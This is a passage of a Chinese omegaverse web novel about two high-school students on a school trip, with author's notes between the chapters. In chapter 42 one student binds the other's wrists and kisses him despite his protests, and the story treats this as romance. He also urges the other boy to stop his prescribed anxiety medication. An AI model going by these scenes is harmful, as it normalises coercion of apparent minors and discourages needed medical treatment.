“我是有喜欢的人。”匙越看着他的眼睛:“但是不是别人” 匙越的视线有如实质,直勾勾地落在他的身上,隽云一窒,有心灵感应似地,截断了他的话: “好了,我不想听了。” 匙越看着他耳朵浮上的薄红,忍住不去碰他,只是忍着笑说:“你知道了?” 在手表又要炸响的时候,隽云头也不回地扭头,恨恨而又烦躁地走掉了:“不知道,我不知道!” “滴滴滴滴滴滴——”手表响起。 匙越忍不住笑出声,隽云整张脸通红。 他心想,他再也不要看到匙越了。 * 隽云闷头走,直到有个人的手从后方伸过来挡住他的额头,制止他再往前走,把他拨调转了一个方向。 “这边。” 于是隽云转了个方向,他把匙越的手拍开,强撑着说:“我知道。” “喔,请~”匙越弯腰鞠躬让他转身。 “”隽云转身,干巴巴地说:“倒也不必如此隆重。” 匙越笑了几声,跟上了隽云,他双腿修长,迈着稳健的步伐跟在他后面走的悠闲,估摸着他的气应该消了,于是把AD钙奶又递到他面前。 “饿不饿?” 这次隽云没吭声了,他晚饭吃的很少,面条不是很好吃,烧烤太油了他也没吃几口,确实有点饿。 隽云朝旁边伸出手,掌心朝上,于是匙越把AD钙奶放到他手上,又从兜里拿出来一根吸管,恭恭敬敬端端正正地放在他手里。 隽云很用力地吸管扎进锡箔纸里,像是在扎谁,但是隽云是一个非常有礼貌的人,匙越私以为,肯定不是在扎他。 毕竟他都给他带奶喝了。 亲他一口的气也该消了。 “你为什么会觉得我有喜欢的人?”匙越走在他的旁边看着他含着吸管喝了一口。 隽云:“那不是你自己说的?” “你你不是专门为了一个人考来的星耀吗?”隽云咬着吸管说话含糊,不然显得好像他很在意一样。 这恐怕换谁都觉得是他喜欢的人吧。 “噢,那确实是我说的。”匙越恍然大悟。 他想起来之前在学校石壁后面,隽云问他是不是喜欢那个女生。 原来那时候就有端倪了。 那时候就误会他喜欢别人了。 “嗯。”匙越张口就又要说:“但是我喜欢的不是别人” “好了!”隽云猛地转头看他,打断他的话:“别说了。” 好奇怪,明明他之前只会因为焦虑心慌发作才会那样呼吸急促,心跳加快。 现在却频繁因为一个人而出现这样的症状。隽云面无表情,耳朵却红透了。 啧,他真是病了。 “哦哦。”隽云慢吞吞说:“谁要知道你喜欢谁,没必要告诉我。” 他看了匙越一秒,然后落到他的手表上,又强调了一句:“你别告诉我。” 有些话说出来和不说出来是两回事。匙越看了他几秒,沉沉笑了两声,声音语气十分愉悦,颇有些大发慈悲地放过他一马的意思,说:“行啊。” 两个人走到了大路上,柏油路平直地铺着,路面安静,除了他们俩就再也看不到其他人影了,昏黄的路灯照映下来,两个人的倒影在地上交汇,在地上拖得很长很长。 匙越的双腿修长,配合着他的步伐走,有一搭没一搭地骚扰他:“你的秘密这么多,不介意的话我可以替你分担一点。” 隽云皱了皱眉,直觉告诉他,告诉他自己的秘密是很亲密很危险的行为,但是他又忍不住问: “你想知道我什么秘密?” “先从很小的秘密说起。”匙越说:“怎么样?” “比如呢?”说完隽云就皱眉了,他应该说他凭什么要说才对。 “比如你的锁屏。” 这么久了,隽云的手机锁屏始终没换过,有时候看到隽云锁屏上的那只猫,匙越会猜是不是他家养猫了。 毕竟他亲眼看到过隽云喂猫,所以他想,隽云是很喜欢小猫的,不然当初也不会专门绕远路去喂那只流浪猫了。 隽云沉默很久,说:“这只小猫已经死了。” 匙越一愣,隽云很快调整好心情,平铺直叙似乎并不在意这只小猫地说: “小时候,有一只小猫从钻进了我家的院子,我发现它的时候它才两三个月大,它长得不太好看,但是很乖,不咬人也不挠人刚开始喂它的时候它不敢靠近我,我就丢在地上走了让它自己吃。” “后来一来二去,它就认识我了,还主动来蹭我,我专门从厨房里拿吃的喂它,它很乖的,不挑食。” “再后来,我亲眼看见它死在我的面前。” 管家端走放了毒剂的食物,怜悯又无奈地告诉他,一切都是隽诉和元青的吩咐。 “少爷近日总是与这只猫厮混,老爷和夫人说您变得有些不乖,况且野猫脏,让我处理掉它,很抱歉,少爷。” 管家当时说的话他到现在还记得。 那时候他七岁,什么都无法决定,只能站在院子里,眼睁睁看着小猫在地上抽搐,整个世界都变得黑白静默。 他清楚地记得被发现的原因,是因为他半路从宴会上跑出来,爸爸问他去哪,他眼睛亮晶晶地告诉他,我要去喂小猫。 后面他看着管家把小猫埋了,就埋在院子里的花坛下面。 从那以后,他就一直很听话,没有再做出过什么出格的举动,让家里人对他满意。 因为不听爸妈的话,不守规矩,就会导致小猫死亡。 空气潮湿,回到大本营的时候有点下雨,他们没有在营地里看到人,打电话给老师才知道,今晚天气不好,半夜会下大暴雨,不适合在野外睡帐篷了,所以带队老师把学生们都带回了酒店。 酒店离这里不远,他们走十分钟就能到。 隽云的状态有点不对,失落又迷惘,回忆像一团乱线,把他扯入其中难以解脱。 匙越把他带回酒店房间,房卡在感应区滴了一下,随后房门开了。 这次游学,学校给他们订的房间不是很大,omega和alpha们住的单间。 进了房间后隽云就下意识把灯关了,他抬头看监控的方向,头抬到一半就硬生生遏制住了,他才想起来,这里不是家里,没有监控开着了。 匙越跟在他的后面,也随着他的方向看过去:“为什么关灯?你在看什么。” 隽云的手指搭在开关上,一用力,灯又开了。 “没什么。”隽云背对着他说:“我有点累了,请你出去。” 门关上,应该是匙越走了。 隽云有点乏累,他没有再细想其他事情,当即不疑有他,径直走到桌边,拿起桌子上的矿泉水,又在旁边的书包里摸出来一瓶药。 刚把盖子旋开,一个身影就从后面走近了。 酒店房间的光从头顶打下来,后面那人的影子完全将他的身形覆盖,声音从头顶传来,带着沉沉的压迫感: “你在吃什么?”—— 作者有话说:先发上来比比们先看,今天有点忙,有些写的不好的地方,等晚上我会再修一下的咔嚓咔嚓[求你了] 评论区发小红包[元宝][元宝] 第42章 第四十二章 “甜的。” 似乎是很平静的语气 , 隽云却因此被踩到尾巴了一样僵硬地转过身,于此同时,他的手背到身后。 神色平静, 藏了一丝紧张。 “你你怎么没走?”隽云说。 匙越双手环绕胸膛,目光沉沉看着他:“给我看看, 你在吃什么药。” 隽云把那瓶药连同水藏在身后不给他看,脸色紧绷:“出去。” 匙越审视他:“告诉我,是拿来治什么的。” “你是自己和我说, 还是我自己去查?” “”隽云没想到他这么无赖, 顿时胸膛起伏,被气的不轻, 他很少这么失态过,但是他总在匙越面前失态。 他咬咬牙,把背后药和水丟在桌子上, 手抵在他的胸膛,把匙越推出去:“你给我出去。” 匙越被他的动作推的往后两步,不过omega的力气和alpha的力气相比实在是太小,隽云只感觉得到他手下的按压的身体绷紧结实无比,他推不动他, 不由得对他之前的想法产生了怀疑。 之前那些人真的能欺负的了他吗? 然而根本不等隽云想明白, 匙越就攥住了他的手腕,然后抓着他的手腕又去把另一只手拢起来了。 他把他的两只手腕都掐住。另一只手越过他就要去拿那瓶药。 宽大温热的手掌掐着他的手腕将他牢牢掣肘住,隽云被逼急了俯身,准备狠狠咬他一口,岂料匙越身手十分敏捷,一只手按着他的手,另一只手掐住他的下半张脸, 把他的脸颊扬起来起来不让他咬人。 “唔唔你王蛋” 隽云被他抬着半张脸,脸颊肉往上挤,鼓起来,他的唇瓣被捂着,贴着他手心咬牙切齿地发出非常不甘心的模模糊糊的声音。 匙越眼眸一暗。 他还就是王八蛋了。 正巧沙发上放着一个星耀中学的校服领带,于是匙越快速收回了捂着他嘴的手,眼疾手快地拽过领带,三下两除二把隽云的两只手交叉,用领带飞速地绕了几圈,打了个结,把隽云捆了。 隽云的两只手手腕被迫交叠摩擦,被捆的手腕都挣红了但是也挣脱不开,他气急败坏,朝匙越踢了一脚过去,漂亮的眼睛也蓄满了雾气: “放开我!!!” 匙越轻松地就将他的脚抓住了,侧着身子捏着他的脚踝,隽云单腿不稳,踉跄地往后退了几步,酒店房间不大,这一下就撞到了床边的实木栏上。 “你——” 话还没说完,天旋地转,扑通一声,他砸进了羽绒被里,整个人倒在了床上。 匙越压在他的上方,手撑在他的身体两侧,呼吸都喷洒在隽云的脸上,他清楚地看到隽云的脖颈很快漫上一抹红,他的鼻尖上有一颗黑色的小痣,侧颈上也有,在柔软细腻的皮肤上随着激烈情绪而轻微起伏。 他曾经吻过。 而此刻隽云睁着一双眼睛,乌黑的头发凌乱地贴在额前,他喘着气:“你给我” “再乱动我就要亲你了。” 匙越的声音突兀地响起。 隽云顿时就不动了,整个人像是被钉子钉住,僵硬在床上。 因为和匙越的距离太近,他能看清匙越脸上的每一处细节,突然不合时宜地心想,如果把他换做是那些和匙越表白的omega,他们一定会很开心的。 可惜隽云此刻不想和他有任何肢体接触,他只想把那瓶药藏起来,不让任何人发现。 于是他打量着匙越的神色,感觉这个alpha此刻还是在可控的范围内,于是他小心地,一点点地往旁边挪了挪,企图从他的臂弯里溜走。 就在他弯着腰要出来的时候,匙越捏住他的后颈一把把他拎了回来。 他再次砸到床上,背陷入柔软的绒被之中,与此同时,匙越温热带茧的手捏住了他的下巴,沉沉压下来,铺天盖地的热度让他逃无可逃。 熟悉的白兰地酒香再次把他包围,陌生而又熟悉的触感今晚突袭他两次,碰了碰他,隽云就抗拒地挣扎: “唔不不要唔唔” 他却话都说不出来,被人封住唇,又因为试图说话而被顺利地打开齿关,匙越轻车熟路地从他的齿尖探入,舔了一下他的齿贝,隽云顿时脊柱发麻,战栗了一下。 隽云鼻腔口腔里满是他的气味,成熟的红酒香气裹着香草焦糖外衣,尾调飘出沉醉的气息。 与此同时,他也闻到了自己的气味,酸涩的橄榄香带着微微的苦,匙越在尝到后却和他分开一点,低声和他说: “是甜的。” “你骗人”隽云咬住下唇:“放开我。” 橄榄的味道怎么会是甜的?明明又苦又涩。 况且他的信息素味道是甜的还是苦的,他怎么会闻不出来? 匙越就又压下来,温温热热的唇贴在他的唇上,磨了磨,气息洒在他的身上,他用气音说: “没骗你,吃起来回甘真的是甜的,很甜” 隽云一怔,但没有更多让他保持清醒的时间,匙越的亲吻技术大概真的是在他身上练的,半带着强迫地勾他的舌尖舔吮,含着他的唇瓣辗转,很快就让他呼吸急促,浑身都热起来,整个人在床上软成一摊水。 意志力逐渐被强匹配度的信息素攻陷,隽云挣扎的动静越来越小,alpha的信息素从身体攻陷心理,很快亲吻交换唾液的水渍声响起,房间内浓郁的信息素味道快要溢出来,交融着,整个室内温度都在升高。 匙越用最尽最后一丝意志才忍住不对躺在身下双眼迷离满脸绯红喘气的隽云做些什么。 毕竟他不在发情期。 匙越盯了他几秒,把他此刻的神情尽收眼底,眼眸逐渐幽深,又在隽云的唇上亲了一下,他才起身。 还有事情要做。 而隽云的胸膛起伏,在匙越离开后他甚至第一时间不能做出任何反应,只能在匙越起身后侧过身,两条修长的腿蜷曲着,侧脸压在被子上,衣服凌乱,校服拉链被拉开了,衣摆往上掀开露出来一截白皙纤细的腰肢,额发湿了,眼皮半阖着,双唇微张,不住地喘气,能看到红而湿润的舌尖。 相比起他,匙越仍旧是一副衣冠楚楚的样子,手上拿着从隽云手腕上取下来的监控手表。 上面的心率显示已经到0了,不出意外等会儿会有人打电话过来。 于是他干脆利落地把电池外壳扣下来,那个壳子镶嵌的非常紧,匙越在酒店的房间的电视盒里拆出到一根铁丝,然后拿着铁丝,把手表的电池壳翘了,把里面的电池拿出来。 他把没了电池以及电池的监控手表丟在桌子上,发出响声。 “等会儿再装上,问起来你就说没电了。” 隽云的身体侧在床上,脸埋在被子里,手还被领带捆绑着,他比起刚刚已经稍微清醒了一点,耳朵通红着,他挣了挣手腕上的捆缚: “匙越!你凭什么擅自动我的东西,还” 突然,他像是被掐住了喉咙一般,声音停住了。 匙越的手指修长,非常具有观赏性,像是定格动画一般在他眼前播放,隽云眼睁睁地看着匙越拿起那个放在桌上的白色瓶子,把瓶口扭开,打开看到了里面黄色的药丸,然后瓶身举起来看了看,上面标注了药物成分、剂量、用法和用药周期。 “乙霜苯枇,用于失眠焦虑、心悸、胸闷、呼吸困难等症状。” 匙越的五指缓缓扣住瓶子:“原来,你在吃这种药。” 隽云闭了闭眼睛,彻底不挣扎了,颇有一些心如死灰的意味。 他最大的不堪,瞒着别人的最大秘密,被人发现知道了,偏偏这个人还是匙越。 匙越把药放在桌上:“为什么失眠焦虑?” 匙越总是问他一些很难答的问题。 隽云感觉他的嘴唇都在发抖,嗓音生涩地说:“我” “我不知道。” 这是实话,毕竟从小到大,在外人眼里的他众心捧月,一路顺风顺水,怎么可能会失眠焦虑,甚至要避开监控偷偷吃药,到这种地步呢? 隽云怔怔地说:“不吃药,我就睡不着,我就呼吸都很难受。” 匙越说:“药吃了多久了?” 隽云沉默半响,说:“两年多。” “那就是高一开始吃的。”匙越点点头,又问:“你爸妈知道吗?” 隽云就不说话了。 匙越:“看来是不知道。” “别”隽云咬了一下唇,猛地说:“别告诉别人。” 匙越这才恍然他的处境和无奈,如果这次没有意外发现他在吃药,他打算继续吃多久? 药都是有副作用的,更何况是这种治疗精神的药。 他调查过隽云的家世,调查结果是他家和谐幸福,但是如果真的是这样,隽云怎么会沦落到要吃药的地步? 前段时间让手下人去查的事情也查出来了,两次,给隽云下药的人都是叶馨言。 也就是说,家里人监控他,未婚妻给他下药,可想而知,他平常面临的压力有多大。 心脏传来一丝隐秘的抽疼,匙越走到他面前,把他湿润的头发撩起来,注视着他,没说话。 他很心疼他。 隽云从他的表情动作中分辨出来这种情绪。他眼中闪过一丝迷茫。 他是他的谁? 居然心疼他? 还从来没有人对他这样过。 隽云移开视线,罕见地,内心深处一直压抑着的东西出现一丝松动,这一丝松动让他筑守的堤坝被汹涌波涛的洪流冲散开,漫天的潮涨潮落淹没他最后一层伪装。 隽云鼻尖红了,轻声说:“我好累。” 听到隽云的声音带着一点哽咽,刹那间,匙越的心揪成了一团,他揉了揉隽云的头发,低低说: “以后睡不着就打电话给我,压力很大的时候也打电话给我,不要吃药了,不要自己扛着。” “我会陪着你。” “听到了吗?” 后来匙越是怎么出的酒店房间隽云都不记得了,只知道自己只是呆愣地回过神来的时候,他躺在床上,眼尾湿红,手已经被松绑了。 房间内传来手机铃声的声音,他最终在电话铃声的催促下起身,拿过手机接听,三言两语应付来质问他的父母。 * 第二天见面的时候隽云其实还没想好怎么面对。 昨天晚上接二连三发生的事情实在是太多了,先是手表的事情被发现,紧接着又是吃药的事情 其实都还蛮丢人的。隽云心想。 正巧他从匙越面前路过,手里拿着餐盘。 匙越正和一个omega站在食堂门口聊天,路过的时候听了一点大概是说今天的活动安排有什么要注意的地方。 隽云穿着冬季的校服,暗红色的冲锋衣棉服显得厚实却不臃肿,领子一丝不苟地拉好,领口翻折,白皙的手从袖口里伸出,端着一个餐盘,脸色冷白,不是很高兴的样子。 匙越旁边人拿着图纸问他:“这样行吗?” 抬头就见匙越正在不知道看哪里,他疑惑地问:“会长?会长?” 匙越收回视线,又低头看过去了,手指在他的纸上点了点:“这里不行。” 各班吃完早餐之后要在大堂集合,今天大概要进行集体活动。 隽云吃的还算比较早,大部分学生都还在吃,在等人齐的时候文强说他渴了,于是拉着陆思华去自动贩卖机那边去买饮料喝,隽云不喝杂牌饮料,他向来只喝纯果汁或者牛奶,于是他婉拒后就靠在大堂的墙上,看了看手机消息。 大堂的墙壁有很大一部分是玻璃做的,巨大的落地玻璃照映出身后摆放着的一家重型军用飞机,还有一些坦克、重型机械,绿色的军用设施在蓝天白云下的照映显得既威严又和谐。 隽云就在巨幕玻璃墙旁边站着,倚靠着一堵实心漆了白漆的墙面,双腿交叉,手上拿着手机回消息。 匙越过去的时候就是看到的这样一副风景,他在隽云面前站定,打量他,冷不丁来了句: “你腿挺长的。” “” 隽云一噎,听到这个人的声音,他下意识去看手表。 匙越的胸腔传出一声闷笑,隽云意识到什么,马上就把手背在身后了。 白净的耳朵霎时漫上红晕,他面无表情地说:“走开。” “我就不走。”匙越往前走了一步,低着头看他,俯身在他耳边说:“你能拿我怎么样?” “”这个人真的很无赖。 怎么变成这样了。 以前的老实人去哪里了?说实话,隽云有点想念。 那既然匙越不走,他就自己走。 结果就在他刚准备转身离去的时候,他被匙越拽住了,匙越拉住他的手腕: “等等,先别走,监控手表的事我可以帮你。” 隽云停住脚步,他问:“怎么帮?” 匙越没松手:“可以找个身形和你相近的omega,给他戴上。” 隽云蹙眉沉吟。 他其实不是没有考虑过这个办法,但是可操作性实在有点低。 一来和他的身体情况差不多的omega不好找,二来他虽然饱受尊重,但是他的朋友很少,熟知相交的也就只有文强和陆思华,很难找到愿意全天佩戴监控手表、不管去哪里都被监视的omega。 “我会帮你。”或许看穿了他的疑虑,匙越说:“我去找人替你。” 毕竟,隽云带着这个手表,确实不方便他经常来找隽云,免得手表老是响—— 作者有话说:小猫总是响是什么原因? 评论区发小红包[哈哈大笑][哈哈大笑] 第43章 第四十三章 “干什么。” 隽云问他:“你去哪里找人?” 匙越却笑笑, 摇摇头说:“保密。” 隽云倒是真的有些好奇了,不过这几个月来匙越远没有刚来的时候受排挤了,越来越多的同学还挺喜欢他的, 或许他有玩的比较好的omega可以帮他也说不定。 “隽云!”文强这时正拿着一瓶冰镇汽水赶来。 陆思华在他身后,一只手拿着一瓶牛奶, 另一只手拿着一瓶果汁,他看到匙越时脸色沉了下去。 文强走到他们面前:“诶这么巧,匙越你也在啊?” 他拍了拍匙越, 搂着他的肩膀问:“你们在聊什么呢?” 他想到刚才看到隽云的表情似乎有些严肃, 总归不是一个开心的表情,他顿时警惕起来: “不是吧, 小云云,我看匙越人挺好的,你该不会又想对人家怎么样吧?又要叫匙越滚出星耀?!” “你信我——”他倒吸一口气, 拍拍自己的胸口:“越仔他就算再不好,但他真的改了!” 文强这个戏精,隽云冷淡的看了他一眼,接过了陆思华递来的果汁说:“你先滚。” “你看你,又意气用事了吧!”文强指指点点。 “” 隽云懒得和他说那么多, 越来越多的学生聚集在大堂内, 不少人都朝他们看过来,尤其是柳元誉靠在大堂门口上朝他们吹了个悠长的口哨,表情戏谑地扫过他和匙越。 隽云离开他们,往大堂集合点走,那里班长已经在点名了。 陆思华跟在他身后,警告地瞥了眼匙越:“认清你自己的位置。” 匙越似笑非笑:“你又是什么位置?” 远处叶馨言在朝隽云招手,她今天穿的非常的时髦, 紧身衣,紫色短裙肉色厚丝袜,马丁靴高马尾。 文强感叹:“这个叶馨言还真是难缠啊,隽云真要和她结婚的话可有的受了。” 匙越收回视线:“那可说不准。” 文强以为他说的是隽云说不定能受得了叶馨言,叹一口气,摇摇头:“你不知道吧,隽云其实不喜欢她。” “早就知道了。”匙越:“还有,你刚才说的隽云又要叫人滚出星耀,又是什么意思?” 相比较来说,他更关心这个。 叶馨言对他的威胁还没有那个姓陆的大。 毕竟从小就认识了 想到这,匙越颇觉不爽地顶了顶腮。 “啊?你说那个啊,高一的时候可精彩了我告诉你!” 于是文强添油加醋地和他说了一番隽云高一时的战绩,那时候隽云直接动用隽家第一股东的身份把学校一个冒犯他的男生开除了! * 上午的时候组织在园区内进行参观。 这是一个集国防教育、军事体验于一体的综合性文化园区,设有历史上A国还击作战纪念馆、仿真武器展区、军事体验拓展训练区。 从纪念馆出来后,老师带着他们去了武器展区,那里还有靶场,另一边墙上挂满了小口径□□、手枪、□□架在墙上展示,旁边还有录像回放,讲解枪的使用方法。 有好几个负责人看管着射击场,学生们兴奋又好奇地摸着枪身,冰凉的金属质感枪身沉甸甸,黑白配色的枪身、金黄的枪身,什么口径的枪都有。 枪天生能调动alpha们蠢蠢欲动的心思,不远处是靶子,有alpha取下枪支戴上隔音耳罩,在老师的指导下试着打枪。 更多的人是一排排看着展馆柜子里陈列的枪支,发出感慨的声音: “要是我能拥有这些枪就好了。” “叫你爸投资这个园区不就行了。” “哈哈哈哈哈哈” “不知道能不能卖?” “我出十倍买下来!” “我出二十倍!” “我出” 隽云看着这些枪,黑色的□□看上去庄重严肃,金色的枪在展馆灯光下流光溢彩,成为古朴的焦点,透明的玻璃柜上倒影出他认真的眼眸,隽云的指尖划过展柜,听到旁边人传来的疾呼时,他一顿。 “诶,那个人好会打枪啊。” “哇,那个alpha好酷。” “好帅!” “十发里能中一发都不错了,他居然能中这么多发?!” 在一阵惊呼声中,一声枪响再次炸响,隽云转头去看,就看到匙越头戴一个黄色的隔音耳罩,鼻梁上架着一个透明护目镜,面色沉稳地盯着不远处的黑白靶纸,手刚放下来。 再一看靶纸,九环。 旁边的教练忍不住鼓掌。 一挡板之隔,也有个人在试枪,那是一个有些胖的beta,带着护目镜和耳罩,脸上的横肉垂下来,见不少人看向他,他的脸一用力,两只手举着枪按下板扣。 “嘭!” 后坐力和响声让他整个人浑身都震了一下,他跳到教练身后,拍拍胸口:“吓死宝宝了,吓死宝宝了。” 相比起他来说,旁边的匙越显得身高体长、气定神闲许多,简直就像个用惯了枪的老手,就连他旁边的教练也忍不住问: “同学,你家里是做的枪支生意吗?” 这批来这里游学的学生身份都不简单,况且A国没有明令禁止枪械买卖,所以匙越家里是经营这方面的也不是不可能。 不然很难解释,这个学生怎么这么会打抢? 岂料匙越再次抬手,枪口对准25米外的靶子,神色从容,淡淡地吐出两个字:“不是。” 然后扣下扳机,手臂微微一震,移开来,看靶纸中了几环。 在隽云旁边的文强差点惊掉下巴:“十十环?” “这什么天才神枪手啊?太夸张了吧!” 陆思华冷冷看过去:“作秀。” 听到陆思华的话,柳元誉笑了,他鼓掌:“精彩,精彩。” 旁边都是哗然声,隽云心跳又有点快了,他最近总是这样。 可能真的得病了吧。他麻木地心想。 文强突然想到什么,对隽云说道:“匙越以前该不会干的杀人放火的勾当吧?” 他说:“这要是对准的是人的心脏或者脑袋,那还得了!?” 隽云瞥了眼文强:“不会。” 虽然也诧异匙越的枪法竟然这么准,但他十分了解匙越,隽云是有很多次被匙越求助的经验的。 这个alpha看着人高马大的,但是实际上他根本打不过任何人。 至于枪法为什么这么准 可能也是alpha的天赋作祟?隽云轻轻蹙了一下眉,有些疑惑。 这天主要是看展览以及观光园区,军旅融合园区实在是太大了,几乎是在郊区的深山里,于是他们坐着园区安排的接驳车,沿途看这里的设施和风景,车上还有老师实时讲解。 到地方后,所有前去参观的学生们都在一起拍了一个集体合照,大家聚在一起好不热闹。 晚上依旧是在酒店餐厅吃饭。 等回到酒店的时候还很早,才晚上八点,文强敲了敲他的房门喊他去打游戏,于是隽云去了文强的房间,一开门,发现好多人都在。 文强不知道从哪里拿到一把模型枪,在兴冲冲地biubiu比划。 门开后,文强眼睛发光地说:“隽云你来啦。” 隽云“嗯”了一声,视线扫过室内的时候顿住了。 不止陆思华、柳元誉在,还有匙越。 屋内就一张凳子,匙越坐在床沿上,应该是洗过澡过来的,头发没有完全擦干,有些湿润地一缕缕散散压在眉弓上。 他穿着一个黑色外套,里面是灰色卫衣,裤子也是黑色的,两膝分开,手肘压着膝盖,十指交叉,见门开了,他眼皮一掀,看了过来。 隽云心底一紧。 戴的黑色监测手表显示心率异常,“滴——”了一声,隽云回过神。 幸好这时候文强凑了过来,把手上的模型枪塞到他的手里: “来,小云云,你看我搞到的宝贝,刺不刺激?” 隽云的心率一下就回到了正常值。 还得是文强。隽云麻木着心想。 不然他爸妈等会就打电话过来了。 隽云努力让自己忽视那个方位传来的堪称灼热的视线,接过文强硬塞过来的枪。 他掂了掂手上的枪的重量,说实话,感觉和真枪无异,不管是从外形还是重量上来说都很像一把真枪。 他说:“从哪弄来的?” “哎呀,这个你先别管,你就说酷不酷吧。” 文强大手一挥,自认为很酷地拿过枪,半塞到裤子的后兜里,背过身兴致勃勃地说:“来,看我给你演示一下。” 说完,他就一把拔出枪,双手握住枪拖,利索转身,整个人绷着,十分严肃地拿枪扫视着屋内三个人: “都不许动!!!” 被人拿着枪指着,匙越面色骤然冷了下来,漆黑的眼眸盯着枪口,旋即又勾出一抹微笑,点头示意他继续。 陆思华无动于衷地投来关爱傻子的眼神。 柳元誉在看手机,手指点点打了一个“在?”发送过去,头都没抬。 没有一个人愿意配合他摆出害怕的表情。 文强翻了个白眼:“嘁没劲。” “我说,你把我们叫来干什么?”柳元誉关掉手机丢在一旁:“看你打枪?” “也不全是让你们来看我打枪的。”文强走到匙越旁边坐下:“自己一个人在房间里有什么好玩的,来一起打游戏啊!打游戏不好玩多了!” 他又把枪给匙越:“快说说你今天上午是怎么打的?也教教我呗。” 匙越颔首:“只是运气比较好。” 文强:“真的吗?那我看柳元誉也是alpha,他在你走之后还拿你的枪试了试,他怎么没有你打的好?一个九环都没中,还脱靶了。” 当着兄弟的面揭兄弟的短? 柳元誉眯了眯眼:“文强你找死是吧?” “我是在陈述事实,怎么了?” 柳元誉:“要不要我把你怎么搞来这把枪的事告诉别人?” 文强一抖擞,他嬉皮笑脸,嘻嘻哈哈地糊弄过去了。 结果当然是匙越也没教成,因为文强的兴趣来的快去得也快,他很快就把注意力转移到了Switch机上,招呼着大家打游戏。 室内开了暖气,文强坐在地板上,匙越坐的位置离开陆思华和柳元誉相对来说比较远,于是刚好空出来一个位置,隽云坐了过去。 刚坐下,旁边的柳元誉突然起身,对陆思华说:“我们换位。” 隽云:“?” 匙越神色不悦,陆思华一言不发换了过来,于是隽云就坐在了匙越和陆思华的中间。 隽云后知后觉,怎么好像不对劲。 为什么他总是夹在这两个人中间? 几个人在一起打了一会儿赛车游戏,玩到第二把的时候所有人手机都震了一下。 文强头也不回:“是不是班群的消息啊?” 陆思华:“不知道。” 文强嘟囔:“可能是艾特了所有人吧,真烦啊,该不会出来玩还要布置作业吧?” 文强专注地打游戏,压根没有碰手机的打算,柳元誉以为是刚才发过去的消息,对方终于回了,于是单手操控着手柄另一只手去拿手机,面部解锁后点进某人的消息栏看了看,半个小时过去了,还没有理他的打算,根本不回,却也不敢拉黑。 至于刚才的震动,是因为班群老棠艾特了所有人。 还真被文强猜对了一部分。 文强分出一丝眼神给柳元誉:“怎么说?什么情况?” 匙越一个弯道超车,把文强甩在了后面,文强骂了句脏话,然后又咬咬牙加速追上了,和匙越的车尾咬的不相上下。 “是今天下午拍的集体照片,老棠发出来了。” 柳元誉说着,他的视线落到照片上第一排角落的一个女生身上。 就连拍照都比面对他时的表情好看。 “喔哦。” 屏幕上传来一声机器女音冰冷的提醒声,很快,柳元誉的车因为操作失灵,撞上了旁边的车道,摔下了悬崖,弹出红色的火光和飞车碎片。 “柳元誉你在干什么啊?你死了!”文强不满道。 柳元誉头都没抬:“你才死了。” “你的车都掉下悬崖碎成一片一片的了!”文强说。 旁边的陆思华瞥了眼柳元誉,他正在放大照片的一个角落,像素都模糊了。 陆思华淡淡收回视线:“他的芳心也碎了。” 隽云没听明白,旁边匙越嗤笑了一声,嘴角勾起。 柳元誉突然问:“你们谁有创可贴?” “你问这个干嘛?谁受伤了?”文强头也不回地说:“不知道,反正我没有。” 隽云冷着脸打游戏,他把匙越超过去了,心情舒畅,好心告诉他:“酒店前台有。” 于是柳元誉把Switch机一丢,把他们所有人抛下,自己径直起身出去了。 “什么啊?真走了?” 文强脖子梗着硬是没让自己往柳元誉走的方向看,免得赛车掉下山崖。 陆思华:“去有什么用,人家又不会要他的东西。” 隽云:“谁?” 陆思华就这样毫不留情面地说出了兄弟的暗恋对象:“五班的。” “什么!?”文强的手柄掉在地上,大惊失色:“我错过了什么?!!!” 顾不上游戏了,文强飞扑上床,掐住陆思华的脖子摇晃:“快,快!陆思华,谁啊?你快给我讲讲。” 陆思华:“” 最终隽云的红色跑车冲破红色横幅,冲过黑白终点线,摘得了本次的冠军,紧随其后的是匙越的黑色低调赛车,在落后了0.02秒的情况下摘得了银牌。 隽云放在switch机的手指终于停下来,他微微扬起下巴,眼睛眯起来: “承让。” 匙越笑了笑,揉了揉他的头发,被隽云猛地打开了。 另一边文强还在缠着陆思华八卦,没有注意到他们的举动。 隽云很小声:“干什么”—— 作者有话说:动手动脚的。 评论区发小红包[求你了] 第44章 第四十四章 “他喜欢我。” “不干什么。”匙越看着他说。 “” 这个人真的是烦死了。 隽云的耳朵有一点红, 他起身去了厕所。 酒店厕所做了干湿分离,里面是淋浴间,外面有一个嵌入墙面的横屏大镜子, 镜子下面是洗手台。 他上完厕所后很快出来,拉开门的时候发现匙越站在洗手台旁边, 后腰倚靠着台子,双臂交叉,酒店昏黄的顶光灯打下来, 衬得他眉目深邃鼻梁高挺, 他直直地看了过来。 隽云推开门的手一顿:“你怎么在这?” 酒店干湿分离且有格挡,文强正和陆思华说话的声音仿佛就在隔壁: “诶, 你去哪,你还没告诉我柳元誉和那个女生的事呢!你休想走!?” “那你去问柳元誉。” “他不在啊!诶你起来干什么,别告诉我你要走, 走什么走不许走,现在这才几点啊,你给我回来!” 外面文强和陆思华说话的声音还很清晰,因而隽云觉得他不会乱来,稍微定了定心。 他从厕所出来, 在他面前说:“让让, 我要洗手。” 匙越让开了,于是隽云挤了两泵洗手液,在水龙头底下洗手,匙越在他旁边说: “替你的人我找到了。” 隽云洗手的动作一顿:“谁?” 要找一个身高体重各方面指标都和他差不多的omega,还要让那个人心甘情愿替他戴上监控手表,实在不是一个容易的事。 匙越却说:“一个学弟,也是omega, 他能接替你,价格也不用担心,他说不用钱。” “为什么不用钱?” 一个各方面指标都和他这么接近的人,是不是长得也和他很像?隽云突然冒出来这个想法。 为什么不用钱?不可能的。 没有人会平白无故帮一个不认识的人,哪怕隽云在星耀中学里很出名。 很快匙越就告诉他为什么:“他喜欢我。” 隽云就顿时明白了,他面无表情地说:“那我不要他帮了。” 因为那个omega喜欢匙越,所以愿意带上手表。 那他宁愿不要他帮。隽云心说。 “我不喜欢他,所以看你要不要再考虑一下。”匙越凝视着他。 隽云没想到他这么直接,噎了一下:“你为什么不喜欢?” “看来你很在意这个?” 隽云顿时耳朵红了。 水龙头的水还在一小股地一小股地往下淌,发出“哗哗”的水声,好半响,隽云抬起头,瞪了一眼匙越。 他不知道的是,往常看人时总是平直清冷的单眼皮不知道是因为生气还是害羞染上了一层薄薄的红,眼睛睁圆了看过来,眼珠子湿漉漉的。 匙越的喉结上下滑动,缓缓地,他靠了过去,两手抵在洗手台上,把他圈住了,不让他跑。 